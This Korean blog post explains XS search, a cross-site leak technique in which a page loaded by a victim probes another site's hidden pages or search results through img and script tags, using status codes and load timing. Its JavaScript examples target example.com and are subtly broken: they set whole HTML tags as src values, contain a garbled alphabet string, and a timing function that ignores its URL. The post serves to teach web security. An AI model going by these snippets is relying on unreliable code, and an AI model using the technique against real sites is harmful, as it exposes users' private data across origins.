XS search란?
일반적으로 javascript에 xmlHttpRequest를 이용하여 http Request를 했을 때 Same Origin Policy(SOP)에 의해 차단된다.
그런 경우 SOP를 우회하여 http Request를 가능하게 하는 것이 바로 XS search 기법이다. XS search를 이용하면 피해자가 공격자의 서버에 있는 XS search 공격 코드를 로딩했을 때(방문했을 때) 피해자의 '비밀 값' or '비밀 페이지'을 조회할 수 있다.
XS search
html에서 SOP와 상관없이 요청을 보내는 태그들이 있다. img, iframe, style, script 태그들은 src 속성 값으로 GET 요청을 보낸다.
XS search - Status based
www.example.com/user/FLAG 라는 피해자만 볼 수 있는 숨겨진 페이지가 있다고 가정하면,
<script>
let a = document.createElement('img')
a.src = "<img src='www.example.com/user/F'>"
document.body.appendChild(a)
</script>
<img src='www.example.com/user/F'> 404
...
<img src='www.example.com/user/FD'> 404
...
<img src='www.example.com/user/FL'> 404
...
<img src='www.example.com/user/FLA'> 404
...
<img src='www.example.com/user/FLAG'> 200
img 태그에 찾고자 하는 페이지 url 값을 넣고 Response status를 이용하여 해당 페이지의 존재 여부를 확인할 수 있다.
또는,
www.example.com/search?q= url에서 q파라미터 값에 피해자만 조회 가능한 값이 있다고 치면
<script>
let str = "123456789abcdefghijklmnoparstu"
let a = document.createElement('script')
for(let i of str){
a.src=`<img src='www.example.com/search?q=${i}'>`
a.onload=()=>{console.log('202')}
a.onerror=()=>{console.log('404')}
document.body.appendChild(a)
}
</script>
<img src='www.example.com/search?q=1'> 404
<img src='www.example.com/search?q=2'> 404
<img src='www.example.com/search?q=3'> 404
<img src='www.example.com/search?q=a'> 200
<img src='www.example.com/search?q=b'> 404
...
<img src='www.example.com/search?q=apple'> 200
...
<img src='www.example.com/search?q=orange'> 200
...
<img src='www.example.com/search?q=boat'> 404
이런 식으로 어떤 값들이 있는지 조회도 가능하다.
XS search - time based
시간을 이용해서 XS search기법을 사용할 수도 있다. Status와 달리 로딩의 시간을 이용한 기법으로, performance.now() 메소드를 이용하여 공격하는 기법이다. ( performance.now()는 페이지가 로드된 이후 지난 시간이다.)
<script>
async function GET(url){
let elem = document.createElement('script')
elem.src = "http://www.example.com?query=a"
document.body.appendChild(elem)
}
async function main(){
let start = performance.now()
await GET(url);
console.log(performance.now()-start)
}
main()
</script>
<script src="http://www.example.com?query=a"></script> ... status 200 / 15ms
<script src="http://www.example.com?query=apple"></script> ... status 200 / 300ms >>apple 존재
XS search 마무리
XS search는 XSS 처럼 응용이 쉬운 편은 아니다. 까다로운 조건들이 있고 XSS보단 많은 정보를 얻을 수 없지만, SOP 정책을 적용하는 사이트는 많고 XSS는 막히지만 XS search는 되는 경우가 있어 XS search에 대해 어느정도 아는 것도 좋을 것 같다.
Reference
https://xsleaks.dev/ XS search wiki
'Web Hacking > Web technique' 카테고리의 다른 글
XSS - javascript scheme (0) | 2022.11.30 |
---|